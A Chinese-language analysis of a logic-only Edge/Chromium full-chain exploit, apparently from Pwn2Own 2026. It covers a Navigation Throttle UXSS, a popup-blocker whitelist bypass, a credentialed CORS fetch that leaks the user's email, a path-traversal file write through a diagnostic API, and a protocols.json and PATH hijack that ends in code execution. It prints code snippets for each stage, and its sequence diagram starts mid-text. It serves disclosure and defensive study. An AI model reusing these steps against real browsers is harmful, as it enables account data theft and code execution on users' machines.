摘要
報告深入分析了一條完全由邏輯漏洞構成的瀏覽器完整攻擊鏈(full-chain exploit),其攻擊過程不涉及任何記憶體損毀操作(memory-corruption primitive)。 此攻擊鏈利用了 Chromium 一個較少受到審查的擴充機制 — Navigation Throttles — 從 Browser Process 直接產生一個 Universal Cross-Site Scripting(UXSS)操作。 透過串聯四個不同的邏輯漏洞以及兩項平台功能,攻擊者無須任何使用者互動,即可在任意網站來源(web origin)中執行任意 JavaScript、透過任意檔案寫入逃離瀏覽器沙箱, 並進一步取得作業系統層級的程式碼執行能力。此攻擊完全繞過 Content Security Policy,並在安全競賽中現場演示, 贏得 $175,000 獎金及 Pwnie Award 的 Epic Achievement 獎項。
1. 簡介
現代網頁瀏覽器透過多個彼此獨立的隔離層實現縱深防禦(defense-in-depth):同源政策(Same-Origin Policy, SOP)、程序層級沙箱機制、內容安全政策(Content Security Policy, CSP),以及導覽來源強制機制(navigation origin enforcement)。在瀏覽器安全領域中,普遍的認知是,要突破這些防護層,必須依賴記憶體損毀漏洞,例如型別混淆(type confusion)、釋放後使用(use-after-free)或堆積區溢位(heap overflow),藉此取得初始的程式碼執行立足點。
此處分析的攻擊直接反駁了此假設。這條攻擊鏈於 Pwn2Own 2026 上發表,目標為一款 Chromium 系列的瀏覽器,並且完全透過邏輯漏洞達成完整的沙箱逃逸。其核心問題在於企業驗證相關的 Navigation Throttle 與瀏覽器自身的導覽分派邏輯之間存在缺陷。 [1] 未涉及 exploit shellcode、ROP chain 或 AI 輔助 生成;整個攻擊鏈是透過手動審計構建。
報告將逐步追蹤這條攻擊鏈的每個階段:首先說明 Navigation Throttle 的設定錯誤如何產生一個無需來源條件的 UXSS 操作;接著分析該 UXSS 如何透過一個具特權但長期被忽略的 WebUI 協定升級為任意檔案寫入;最後探討設定檔覆寫如何將檔案寫入能力轉化為不受限制的程式碼執行能力。
2. Navigation Throttles 作為未充分檢視的攻擊面
Chromium 的 Navigation pipeline 透過位於 Browser Process 中的一系列 "Navigation Throttles" 處理每個 URL 載入。 這些 throttles 可以攔截、取消、重新導向或修改 任何 Navigation — 無論是瀏覽器發起還是 renderer 發起。儘管 Chromium 在過去五年中累積了 超過 3,000 個 CVE,但與 Navigation Throttles 相關的不到二十個, 顯示此元件受到的安全審查相對較少。 [1]
對於透過專有 Navigation Throttle 擴充既有 Navigation pipeline、以支援企業功能的 Chromium 系列瀏覽器而言,也隨之增加了額外的安全審計責任。其中一個 throttle,
EdgeCAGuidanceNavigationThrottle
,會在偵測到從受信任的 Microsoft 擁有 origin Navigation 至內部
guidance URL 時啟動。其目的是在使用者企業登入流程期間將使用者重新導向至正確的 account profile。然而,此 throttle 在如何將 Browser Process 動作綁定回 Renderer source 方面存在結構性缺陷 — 在適當條件下,此缺陷會產生跨來源 JavaScript 執行操作。
3. 無來源 Navigation UXSS 操作
當
EdgeCAGuidanceNavigationThrottle
觸發時,它會取消原始 Navigation 並
使用 Chromium 內部的
Navigate()
API 啟動新的 Navigation,轉發
switch_profile
查詢參數 — 完全由攻擊者控制 — 作為新的
Navigation URL。此新 Navigation 從 Browser Process 發起,未綁定至任何
特定 Renderer。根本原因在於 Chromium 自身的
Navigate()
分發常式
位於
browser_navigator.cc
:
程式碼 1 — browser_navigator.cc 中的無來源 Navigation回退機制 (Chromium tag 148.0.7778.97) [2]
- base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {
- // ... preceding validation and browser/tab selection logic ...
- // KEY BUG: if the caller did not specify a Renderer source (source_contents),
- // Chromium silently falls back to whichever tab is currently active.
- // EdgeCAGuidanceNavigationThrottle never sets source_contents.
- if (!params->source_contents && params->browser) {
- params->source_contents =
- params->browser
- ->GetBrowserForMigrationOnly()
- ->tab_strip_model()
- ->GetActiveWebContents(); // [1] BUG: active tab becomes the navigation's
- // implicit Renderer origin at this instant
- }
- // ... disposition and singleton checks ...
- if (!contents_to_navigate_or_insert) {
- DCHECK(!params->url.is_empty());
- if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {
- // ... new-tab path; not relevant to this chain ...
- } else {
- // For CURRENT_TAB disposition, the target IS the same as the source.
- // Because source_contents was just set to the active tab above, the
- // active tab becomes both origin AND destination of this navigation.
- DCHECK(params->source_contents);
- contents_to_navigate_or_insert = params->source_contents; // [2] target = active tab
- }
- // Skip URLs that only produce dialogs (about:blank, etc.);
- // for all navigable URLs including javascript:, proceed to LoadURL.
- if (!HandleNonNavigationAboutURL(
- params->url,
- contents_to_navigate_or_insert->GetBrowserContext())) {
- NavigationController::LoadURLParams load_url_params =
- LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert, params);
- // [3] The navigation is dispatched from the Browser Process via Mojo.
- // A javascript: URL here executes in the active tab's Renderer context
- // as a HandleRendererDebugURL call — bypassing that tab's CSP entirely.
- navigation_handle =
- contents_to_navigate_or_insert->GetController().LoadURLWithParams(
- load_url_params);
- }
- }
- // ...
- }
實際後果是一個 time-of-check/time-of-use (TOCTOU) 視窗:如果使用者
在 throttle 觸發與
Navigate()
於步驟 [1] 解析作用中分頁之間
切換至不同分頁,
switch_profile
中的
javascript:
URL 將在
新作用中、不相關的分頁環境中執行。
由於 Navigation 透過 Mojo 的
HandleRendererDebugURL
路徑源自 Browser Process,它繞過目標頁面上的所有 CSP headers —
產生真正的 UXSS 操作,能夠在任何網站上執行 JavaScript。
[1]
4. 消除前置條件:四個邏輯繞過
4.1 透過 Cross-Window Navigation 繞過 Origin Validation
Throttle 透過在擁有
Navigation 的
WebContents
上呼叫
GetLastCommittedURL()
來驗證
Navigation 是否源自受信任的 Microsoft 擁有 domain。此檢查未考慮透過
window.open()
和後續
.location
指派從不同視窗發起的 Navigation。因為
GetLastCommittedURL()
僅反映給定 WebContents 中目前 committed 的頁面 — 而非 opener — 可以透過在
popup 中開啟受信任 origin 並立即重新導向來滿足檢查:
程式碼 2 — Cross-Window Navigation 繞過 GetLastCommittedURL origin 檢查 [1]
- // Step 1: open a trusted Microsoft origin in a new popup window.
- // At this moment, the popup's WebContents last-committed URL is 'about:blank',
- // and it will transition to login.live.com — the URL that satisfies the throttle's
- // IsSupportedLoginUrl() check — before the redirect in step 2 fires.
- popup = window.open('https://login.live.com/', '_blank');
- // Step 2: assign the guidance URL with attacker-supplied parameters to the popup.
- // When the popup navigates here, GetLastCommittedURL() on the popup's WebContents
- // still returns login.live.com (committed in step 1), so the origin check passes.
- // ?email must match the victim's signed-in account email (obtained via Listing 3).
- // ?switch_profile carries the javascript: payload that will execute via the UXSS.
- popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}`;
4.2 透過 Hardcoded Whitelist 繞過 Popup Blocker
現代瀏覽器預設會封鎖沒有同步使用者手勢的
window.open()
呼叫。
此處檢視的瀏覽器維護一個 hardcoded 內部 URL fragment
identifiers whitelist,使 popup 免除此限制。使用 whitelisted
fragment
about:blank#quickAuthPopup
開啟視窗會無條件成功;然後在第二步將 popup
Navigation 至預期 URL,由於視窗已存在,popup blocker 不會重新評估此步驟。這種設計 — 編譯時嵌入的信任 whitelist — 作為 access-control 機制本質上是脆弱的。
4.3 透過 CORS Misconfiguration 枚舉受害者 Email
Throttle 需要知道受害者的已登入帳戶 email 才能通過 profile
匹配檢查。端點
assets.msn.com
嵌入在瀏覽器的內部
new-tab 頁面中,在 JSON response body 中返回已登入帳戶的 email,並錯誤地
在其
Access-Control-Allow-Origin
header 中反映任何請求 origin,並帶有
Access-Control-Allow-Credentials: true
。這允許任何頁面在無需使用者互動的情況下取得 email:
程式碼 3 — 透過 assets.msn.com 上的 CORS misconfiguration 洩漏受害者 email [1]
- // Cross-origin fetch to a Microsoft profile endpoint embedded in the browser's
- // new-tab page. Because the endpoint's CORS headers reflect any origin and allow
- // credentials, the browser sends the victim's Microsoft account cookies.
- resp = await fetch(
- `https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`,
- {
- method: 'GET', // read-only profile data endpoint
- mode: 'cors', // cross-origin request explicitly declared
- credentials: 'include', // include stored Microsoft account session cookies
- referrerPolicy: 'no-referrer', // suppress Referer header to reduce server-side logging
- headers: {
- 'Accept': 'application/json' // request JSON response format for direct parsing
- }
- }
- );
- body = await resp.json(); // decode the JSON response body
- console.log(body.value[0].email); // extract the signed-in account email from the payload
4.4 透過 OneAuth 自動建立 Profile
Throttle 還要求瀏覽器在 email 比較
成功之前擁有已登入的 profile。"OneAuth" 功能在造訪某些 Microsoft 擁有頁面時自動將使用者的平台級 credentials 傳播至瀏覽器
— 意味著只需 Navigation至
www.microsoft.com
就會導致瀏覽器建立 profile 並登入,無需任何
明確的使用者動作。此功能結合平台需要在設定時進行登入的 out-of-box experience,確保幾乎任何安裝都會有一個已登入的 profile 供 throttle 匹配。
5. 透過特權 WebUI 和任意檔案寫入逃逸沙箱
擁有 UXSS 操作並不會立即產生程式碼執行。Chromium 維護一個 scheme
blacklist —
scheme_registry.cc
中的
not_allowing_javascript_urls_schemes
— 封鎖在特權 WebUI contexts (如
edge://
,
chrome://
, 和
devtools://
) 中的
javascript:
URL Navigation。
[3]
然而,瀏覽器的 Immersive Reader 使用客製化
read://
scheme,該 scheme 未加入此 blacklist,使其可透過 UXSS 存取。在
read://
內,頁面透過其 JavaScript surface 暴露 native C++ bindings。其中一個 binding,
chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles()
,接受 filename 和 JSON string,將 JSON keys 作為 named files 寫入臨時目錄,並將結果歸檔。
Key name 中的
Path traversal 和用於剝離強制
.json
extension 的 null byte 產生任意檔案寫入,可以覆寫任何使用者可存取的路徑:
程式碼 4 — 透過 zipDiagnosticLogFiles 進行任意檔案寫入 (從 read:// 環境執行) [1]
- chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
- 'LOL.ZIP', // name for the resulting archive; arbitrary, not exploited here
- '{ // second argument: a JSON string that controls disk writes
- "logFiles": {
- "ORANGE": "AAAAAAAA" // the key becomes the filename written to the temp directory.
- // Substituting "../../../target_path\0" achieves path traversal:
- // "../../../" escapes the temp folder to any reachable path,
- // "\0" (null byte) truncates the forced ".json" suffix,
- // yielding a write to an arbitrary filename at an arbitrary location.
- // The value "AAAAAAAA" is the file content — also attacker-controlled.
- },
- "deviceInfo": {1337: 1337} // auxiliary field; parsed but not used for file writes;
- // malformed JSON here would abort the operation
- }'
- );
- // Execution flow after the call:
- // 1. Edge creates a temporary staging directory.
- // 2. Each "logFiles" key is written as {key}.json inside that directory (path traversal applied).
- // 3. The staging directory is archived into LOL.ZIP and the archive is uploaded.
- // 4. The staging directory is deleted — but the traversed-out file remains at the target path.
6. 透過 protocols.json 覆寫實現程式碼執行
瀏覽器的
AutoLaunchProtocolsComponent
在啟動時從瀏覽器 user data
目錄下的使用者可寫入路徑讀取名為
protocols.json
的設定檔案。此檔案控制哪些 URL scheme handlers 可以在從特定 origins 觸發時靜默啟動 (無需確認對話框)。預設設定隨附
第一方 Microsoft scheme handlers 的 entries:
設定 1 — AutoLaunchProtocolsComponent 的預設 protocols.json [1]
- {
- "allow": [ // entries here bypass the protocol-launch confirmation prompt entirely
- {
- "origins": [ // web origins permitted to launch the scheme handler below without prompt
- "https://*.get.microsoft.com", // wildcard: any subdomain of get.microsoft.com
- "https://*.apps.microsoft.com" // wildcard: any subdomain of apps.microsoft.com
- ],
- "protocol": "ms-windows-store" // URI scheme silently dispatched for the above origins
- },
- {
- "origins": [
- "https://*.onedrive.com", // OneDrive web origin
- "https://*.onedrive.live.com", // OneDrive personal
- "https://sharepoint.com" // SharePoint
- ],
- "protocol": "ms-word" // allowed to silently open Microsoft Word documents
- }
- // ... additional allow/warn/block entries follow the same structure ...
- ],
- "warn": [
- // entries here show a user-visible warning before launching the protocol handler
- ],
- "block": [
- // entries here prevent specific origins from launching specific protocol handlers
- ]
- }
透過覆寫此檔案 — 使用程式碼 4 中的任意檔案寫入,
path traversal
targeting
AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
— 加入
Custom entry,授予任何攻擊者控制的 origin 靜默啟動
telnet://
的權限,然後透過 Navigation 至
edge://restart
強制瀏覽器重新啟動,修改後的設定即生效。
[1]
平台上的
telnet://
handler 呼叫
telnet.exe
,該程式
未包含在預設安裝中。OS 透過按順序搜尋
%PATH%
environment variable 中的目錄來解析它。其中一個目錄 —
AppData\Local\Microsoft\WindowsApps
— 可由非特權使用者寫入。在觸發來自攻擊者頁面的
telnet://
protocol 之前,將名為
telnet.exe
的最小化 32-bit PE 放置於該目錄中,導致攻擊者的
binary 在瀏覽器沙箱外執行,擁有使用者的完整權限,在少於 100 行 exploit code 中完成攻擊鏈。
7. 全鏈攻擊序列
下圖映射攻擊者頁面、 Browser Process、Renderer contexts 和 file system 之間的精確互動流程,說明每個階段如何轉換至下一個:
with credentials → email returned in JSON Note over AP,PU: Stage 2 — UXSS Trigger AP->>BP: window.open('about:blank#quickAuthPopup') Note over BP: Hardcoded whitelist bypasses popup blocker BP-->>AP: Popup window granted AP->>PU: popup.location = guidance-ca-error?email=...&switch_profile=javascript:payload Note over PU: Cross-window bypass: GetLastCommittedURL
still returns login.live.com (origin check passes) PU->>BP: EdgeCAGuidanceNavigationThrottle fires Note over BP: source_contents=NULL#59; Navigate()
substitutes currently active tab BP->>AT: LoadURL(javascript:payload) via Mojo HandleRendererDebugURL Note over AT: UXSS — JavaScript executes in victim origin
CSP entirely bypassed (Browser Process origin) Note over AT,FS: Stage 3 — Sandbox Escape AT->>BP: Navigate to read:// (not in scheme blacklist) BP-->>IR: Privileged WebUI context granted IR->>FS: zipDiagnosticLogFiles('../protocols.json NUL', custom_config) Note over FS: Path traversal + null byte
overwrites AutoLaunchProtocolsComponent config IR->>BP: Navigate to edge://restart Note over BP: AutoLaunchProtocolsComponent reloads
modified protocols.json on startup Note over AT,FS: Stage 4 — Code Execution AT->>BP: Trigger telnet:// from attacker origin (now silently allowed) BP->>FS: OS resolves telnet.exe via %PATH% Note over FS: AppData/WindowsApps is user-writable
attacker PE named telnet.exe placed there FS-->>AP: Arbitrary Code Execution outside sandbox
8. 討論與結論
此攻擊鏈說明,僅限邏輯的瀏覽器攻擊 — 當建立在對 Navigation pipeline 和特權瀏覽器 APIs 的深入架構理解基礎上時 — 可以產生完整的、零互動沙箱逃逸。從分析中得出幾個更廣泛的觀察結果。
首先,
Navigate()
中的根本漏洞 (程式碼 1) 並非任何單一供應商的擴充所獨有;Chromium 自身的範例程式碼在
browser_navigator_params.h
中未設定
source_contents
,意味著
靜默回退至作用中分頁實際上是未文件化的預期行為。
[1,2]
因此,任何在 Browser Process 擴充點中呼叫
Navigate()
而未明確指定
source_contents
的情況,只要其導向的 URL 可受到網頁內容影響,就應被視為可能遭攻擊者觸發。
其次,瀏覽器供應商引入的專有 WebUI schemes 代表審計缺口:upstream
scheme blacklists 僅適用於 upstream schemes,每個供應商的附加內容必須
獨立審查是否符合相同的安全標準。
read://
scheme
疏忽具體展示了此風險。
第三,由使用者可寫入路徑載入、且會在啟動時被讀取的設定檔,本身就是高價值的寫入目標。任何會從沙箱程序可寫入路徑載入政策設定的元件,都應被視為潛在的沙箱逃逸向量,不論是否額外實施了檔案完整性驗證。
修補程式於競賽結束後一天發布,內容包括更新協定(scheme)黑名單、移除 feedback API 中的 path-traversal 能力,以及強化受影響端點的 CORS 設定。隨著競賽中的攻擊鏈愈來愈傾向利用純邏輯漏洞,本文所揭露的攻擊面──以 Browser Process 權限執行、但輸入來源卻衍生自 Web Origin 的 navigation pipeline 擴充機制──值得在所有主要 Chromium 衍生瀏覽器中進行系統性的安全審查。